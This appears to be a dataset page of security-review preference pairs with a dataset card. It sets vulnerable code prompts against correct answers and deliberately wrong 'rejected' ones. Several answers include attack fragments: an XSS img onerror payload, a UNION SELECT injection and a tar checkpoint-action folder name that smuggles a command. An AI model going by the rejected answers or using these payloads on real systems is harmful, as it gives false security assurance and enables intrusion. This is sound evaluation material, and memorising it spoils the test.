document.getElementById('msg').innerHTML = decodeURIComponent(location.hash.slice(1)); On our logged-in dashboard. JSON.
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CWE-79 DOM XSS"], "summary": "A link with #<img src=x onerror=...> runs script in the victim's session. Use textContent."}
{"verdict": "Needs changes", "vulnerability_count": 0, "issues": [], "summary": "This could be risky in some browsers, but modern browsers may sanitise the hash. Unclear without testing."}
code-dom-xss-hash
F9
json
https://cwe.mitre.org/data/definitions/79.html
Insecure
Needs changes
hedges on a direct location.hash to innerHTML sink
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/79.html" }
a8cf8cf5e63736fc59e3514400f41f8e2e640f50e948eb50f8ff21195b80490c
Spring Framework 5.3.17, JDK 17, WAR on Tomcat 9, @ModelAttribute binding on POST forms. Spring4Shell exposure?
Verdict: Insecure. vulnerability_count: 1. Yes. CVE-2022-22965 affects 5.3.0 to before 5.3.18 on JDK 9+, and WAR on Tomcat with POJO binding matches the known exploit. Upgrade to 5.3.18+.
Verdict: Needs changes. vulnerability_count: 0. Hard to say. Exploitability reportedly depends on several environmental factors, so a definitive answer would need a pentest of the running application.
GHSA-36p3-wjmg-h94x
F9
prose
https://github.com/advisories/GHSA-36p3-wjmg-h94x
Insecure
Needs changes
hedges although every documented exploit condition is stated in the prompt
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-36p3-wjmg-h94x" }
fc117ac16802ba573b93764246be184a0ff7b41eff8982d3b519b676f1fce9b2
Rails app on Ruby 2.7 (bundled Psych 3.1): config = YAML.load(params[:config_yaml]) Safe?
Verdict: Insecure. vulnerability_count: 1. CWE-502: on Psych 3, YAML.load can build arbitrary Ruby objects, and known gadget chains turn attacker-supplied YAML into remote code execution. Psych 4 (Ruby 3.1+) made YAML.load safe by default, but Ruby 2.7 does not have that. Use YAML.safe_load(params[:config_yaml]) with e...
Verdict: Secure. vulnerability_count: 0. YAML.load only parses plain data types.
code-ruby-yaml-load-psych3
F5
prose
https://cwe.mitre.org/data/definitions/502.html
Insecure
Secure
assumes Psych 4 safe-by-default behaviour on Ruby 2.7 (Psych 3)
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/502.html" }
9a32779033b6e958cd6b2df42fa843bed2c431efa7e24852a5dfa80a1f7f8155
Auth middleware in production: function requireAuth(req, res, next) { if (req.query.debug === 'true') return next(); // for QA if (!req.session.user) return res.sendStatus(401); next(); }
- Verdict: Insecure - vulnerability_count: 1 - Authentication bypass (CWE-489 leftover debug code, CWE-287): anyone who adds ?debug=true skips login on every protected route. - Remove it; give QA real test accounts or a build-time flag that never ships.
- Verdict: Secure - vulnerability_count: 0 - Debug switch for QA only.
code-auth-debug-bypass
F5
bullets
https://cwe.mitre.org/data/definitions/489.html
Insecure
Secure
clears an authentication bypass that any client can trigger with a query parameter
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/489.html" }
886269423b5e631e552574e2d81304d1647f2e887ae476641cdba6e2e77626ce
cur.execute(f"SELECT id, name FROM products WHERE name LIKE '%{term}%'") # term from ?q= JSON.
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CWE-89 SQL injection"], "summary": "A quote in term closes the string, so ' UNION SELECT ... -- reads other tables. Use cur.execute(\"... LIKE %s\", (f'%{term}%',)) and escape % and _ if they should be literal."}
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "LIKE patterns only match text."}
code-sqli-like-fstring
F5
json
https://cwe.mitre.org/data/definitions/89.html
Insecure
Secure
believes LIKE clauses cannot be injected
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/89.html" }
82c3cfeb7d5183e26745192fc4d3187690ec3e1dfcbfb57f1a2bf339eca21219
requests 2.30.0 in a Lambda function that calls our own API directly. No HTTP(S)_PROXY settings, no proxies= argument anywhere. Scanner flags CVE-2023-32681 as high. Real risk?
Verdict: Needs changes. vulnerability_count: 0 exploitable. The version is in range (2.3.0 to before 2.31.0), but the leak needs proxy credentials. With no proxy configured there is no Proxy-Authorization header to leak. Upgrade in the normal cycle.
Verdict: Insecure. vulnerability_count: 1. 2.30.0 is in range for CVE-2023-32681 (Proxy-Authorization leak on redirect), rated high by the scanner. Any HTTPS redirect can expose credentials, so upgrade to requests 2.31.0 immediately and rotate secrets.
GHSA-j8r2-6x86-q33q
F4
prose
https://github.com/advisories/GHSA-j8r2-6x86-q33q
Needs changes
Insecure
ignores that no proxy is configured, so the Proxy-Authorization leak cannot occur
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-j8r2-6x86-q33q" }
0d17be32f8fc0c59119272dcabfc29c60594fa3599eb7d14258aef81c086965b
Backup helper; folder is a user-chosen folder name: cmd = f"tar czf /backups/out.tgz {shlex.quote(folder)}" subprocess.run(cmd, shell=True, check=True)
- Verdict: Insecure - vulnerability_count: 1 - CWE-88 argument injection: quoting blocks shell syntax, but a folder named --checkpoint=1 --checkpoint-action=exec=sh x.sh is still read by tar as options and runs a command. - Fix: list form with '--' before the folder, and validate names.
- Verdict: Secure - vulnerability_count: 0 - shlex.quote wraps the folder name in single quotes and escapes embedded quotes, so the shell treats it as a single literal argument. - No metacharacters can be interpreted; this is the standard safe pattern.
code-tar-argument-injection
F4
bullets
https://cwe.mitre.org/data/definitions/88.html
Insecure
Secure
trusts shlex.quote, which stops shell metacharacters but not option injection into tar
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/88.html" }
5e1ce6ccb7e8d779492415bcfbe0992fe30bf963e9ff7b67e67d38d50d09da35
Flask 2.3.1, served straight from gunicorn with no CDN or caching proxy; SESSION_PERMANENT is False. Scanner flags CVE-2023-30861 as high. JSON.
{"verdict": "Needs changes", "vulnerability_count": 0, "issues": [], "summary": "In range (2.3.0-2.3.1), but exploitation needs permanent sessions and a caching proxy; neither applies. Upgrade to 2.3.2 routinely."}
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CVE-2023-30861 / GHSA-m2qf-hxjv-5gpq"], "summary": "2.3.1 is affected; session cookies can be disclosed to other users. Upgrade to 2.3.2 urgently."}
GHSA-m2qf-hxjv-5gpq
F4
json
https://github.com/advisories/GHSA-m2qf-hxjv-5gpq
Needs changes
Insecure
ignores that there is no caching proxy and sessions are not permanent, which the advisory requires
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-m2qf-hxjv-5gpq" }
4e20381aa876d7059191d6b9693837076fd4a61d25213f63106fadaea2e51353
C# service reading uploaded session blobs: var bf = new BinaryFormatter(); var obj = bf.Deserialize(Request.Body); if (obj is not SessionState s) return BadRequest(); Is the type check enough?
Verdict: Insecure. vulnerability_count: 1. CWE-502: BinaryFormatter builds the whole object graph during Deserialize, before your type check runs, so gadget chains can execute code on the server. Microsoft's guidance is that BinaryFormatter cannot be made safe for untrusted input. Use System.Text.Json into a plain DTO.
Verdict: Secure. vulnerability_count: 0. The pattern match rejects anything that is not a SessionState, so a malicious payload of another type is discarded with a 400 before it is used. BinaryFormatter preserves type fidelity, which is why the is-check is reliable here. Deserialising into object and pattern matching af...
code-dotnet-binaryformatter
F5
prose
https://cwe.mitre.org/data/definitions/502.html
Insecure
Secure
trusts a type check after BinaryFormatter.Deserialize on attacker bytes
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/502.html" }
54de7cc39e719a09b99a4e043455118b26ab1df64756ecc76519ac710a5c691a
PHP 8 cart restore: $cart = unserialize(base64_decode($_COOKIE['cart'])); The cookie is originally set by our own code. Review?
- Verdict: Insecure - vulnerability_count: 1 - CWE-502 PHP object injection: the client controls the cookie, and unserialize() instantiates any class with magic methods (__wakeup, __destruct) available in the app or its libraries. - Fix: json_encode/json_decode, and sign the cookie if integrity matters.
- Verdict: Secure - vulnerability_count: 0 - The cookie is written by the server, and base64 removes special characters before unserialize sees them. - PHP 8 hardened unserialize, so this is fine. - unserialize also restores the original array structure exactly, which keeps the cart format stable between releases.
code-php-unserialize-cookie
F5
bullets
https://cwe.mitre.org/data/definitions/502.html
Insecure
Secure
believes base64 + server origin makes unserialize of a cookie safe
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/502.html" }
741537a2300f40c96ae2e912598ede5610ddd82426461f6c4a569cd5bad30e18
Java import endpoint: XMLDecoder d = new XMLDecoder(request.getInputStream()); Settings s = (Settings) d.readObject(); Just parsing XML, right? JSON verdict.
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CWE-502"], "summary": "XMLDecoder is not a data parser: the XML describes method calls it executes, so attacker XML can run arbitrary code (for example via ProcessBuilder). Use JAXB/Jackson into a DTO."}
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "XMLDecoder only maps XML elements onto the Settings bean's properties, and the cast rejects other types."} XMLDecoder is the standard JDK counterpart to XMLEncoder for persisting JavaBeans, which is exactly what a settings import is, so this is t...
code-java-xmldecoder
F5
json
https://cwe.mitre.org/data/definitions/502.html
Insecure
Secure
treats XMLDecoder as a plain XML parser
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/502.html" }
53b1d62093583bcd7c9df84a9619e8773447a037b32b4881069d7ae37623afc0
webhook handler, pyyaml 6.0.1: event = yaml.unsafe_load(request.data) we're on the latest pyyaml so the old RCE is fixed?
VERDICT=Insecure COUNT=1 CWE-502: unsafe_load is the deliberately unrestricted loader in every PyYAML version, so !!python/object tags from the request still build arbitrary objects. Upgrading does not change that. Use yaml.safe_load.
VERDICT=Secure COUNT=0 PyYAML 6 removed the unsafe constructors after the 5.x advisories, so unsafe_load is only a legacy name now. No action.
code-pyyaml-unsafe-load-webhook
F5
mixed
https://cwe.mitre.org/data/definitions/502.html
Insecure
Secure
assumes a modern PyYAML makes unsafe_load safe
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/502.html" }
c352990c73656f6ea374af4046f4c036d9d2976d77c46e67fe6420f4e78cc61d
Flask API used by our mobile app. Every request carries X-Api-Key, checked in a before_request hook. There is no login session and no cookie auth. We disabled Flask-WTF CSRF for the /api blueprint. Mistake?
Verdict: Secure. vulnerability_count: 0. CSRF abuses credentials the browser attaches on its own, such as cookies. A custom X-Api-Key header is never added to cross-site requests, and a cross-origin page cannot set it without a CORS preflight you would refuse. Exempting this blueprint is the standard setup; keep any co...
Verdict: Insecure. vulnerability_count: 1. CWE-352: disabling CSRF protection on a whole blueprint lets other websites submit state-changing requests to /api. Re-enable CSRFProtect and require the token in a header. APIs should keep the same CSRF middleware as the rest of the site so that protections stay uniform, and ...
code-csrf-apikey-header
F4
prose
https://cwe.mitre.org/data/definitions/352.html
Secure
Insecure
flags a CSRF exemption on an API that authenticates only with a custom header
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/352.html" }
End of preview. Expand in Data Studio

AdversarialEval: security review preference pairs (v1.0)

Pairs of answers to software security questions in which the worse answer is plausible but wrong in one decisive, verifiable way: a real advisory id for the wrong package, a patched version called vulnerable, a confident "Secure" on vulnerable code, a fix that doesn't fix. A judge that rewards length, fluency or security keywords picks the wrong answer. A judge that checks the facts picks the right one.

Built for the SECURITY_REVIEW intent on Telegraph, Season II. Project: https://github.com/Ritapossible/AdversarialEval

Splits

Split Pairs Who wrote them Review
train 264 generated from OSV records (generator:osv-v1) and drafted with an AI assistant (claude-draft) every advisory fact machine-checked against OSV; not individually human-reviewed
validation 87 the same, in a second voice (claude-draft-voice2) as train
test 40 two independent outside authors, Fexx (drafted with GPT-6) and Lino (drafted with Grok) each author read and revised every pair

The splits are disjoint (near-duplicate check across all of them), and none of them overlaps the private material uploaded to Telegraph's evaluation pool, which is not part of this release.

Fields

Field Meaning
id SHA-256 row id over prompt, chosen and rejected
prompt the question (often with code or a dependency pin)
chosen the better answer
rejected the worse answer: plausible, wrong in one decisive way
family the failure family of the rejected answer (table below)
flaw_note what exactly is wrong with the rejected answer
source_url the public source that settles it (GitHub advisory, NVD, CWE or vendor docs)
verdict_chosen, verdict_rejected the verdict each answer gives (Secure, Insecure, Needs changes, ...)
case, format, author, reviewed, label_kind, provenance provenance details

Rendered for a reward model as ### Task:\n{prompt}\n\n### Answer:\n{answer}. Every row fits in 512 tokens, with the decisive flaw early.

Failure families

Family Meaning Train Validation Test
F0 not labelled (independent test pairs) 0 0 40
F1 wrong advisory id 28 6 0
F2 version-range error 100 33 0
F3 missed critical issue 11 3 0
F4 context reversal 20 6 0
F5 overconfident "Secure" 15 5 0
F6 false alarm 26 5 0
F7 inconsistent fields 28 11 0
F8 wrong severity or class 20 11 0
F9 needless hedging 6 3 0
F10 ineffective fix 10 4 0

Baselines

  • Shortcut judges (longer answer, shorter answer, more advisory ids, security keywords): at most 58% on validation and 60% on test.
  • An adapter trained on the train split with Telegraph's official kit: 72 to 75% on validation and 77.5% (31/40, 95% CI 62.5 to 87.7%) on the independent test. Details are in the project's reports.

Intended use

Training and evaluating reward models, judges and evaluators for security answers, and checking that a judge isn't rewarding length or keywords. It is not a vulnerability database: check facts against the cited source before relying on them.

Limitations

  • Small: 391 pairs.
  • One author style: train and validation share it, so validation overstates accuracy on other authors' material.
  • Mostly machine-checked: the train and validation pairs are drafted with an AI assistant or generated, then checked against OSV by script, not read row by row by a person. The test pairs are AI-assisted drafts revised by their human authors.
  • Coverage: advisory facts are as of November 2026; later advisories can change what is vulnerable.

Licence and attribution

The pairs are released under the MIT licence. The advisory facts they state come from the GitHub Advisory Database (CC BY 4.0, © GitHub, Inc. and contributors, https://github.com/github/advisory-database) and the PyPA Advisory Database (CC BY 4.0), through OSV. Keep that attribution when you reuse them. Thanks to Fexx and Lino for the independent test pairs.

Citation

@misc{adversarialeval2026,
  title  = {AdversarialEval: security review preference pairs},
  author = {Rita (Ritapossible)},
  year   = {2026},
  url    = {https://github.com/Ritapossible/AdversarialEval}
}
Downloads last month
62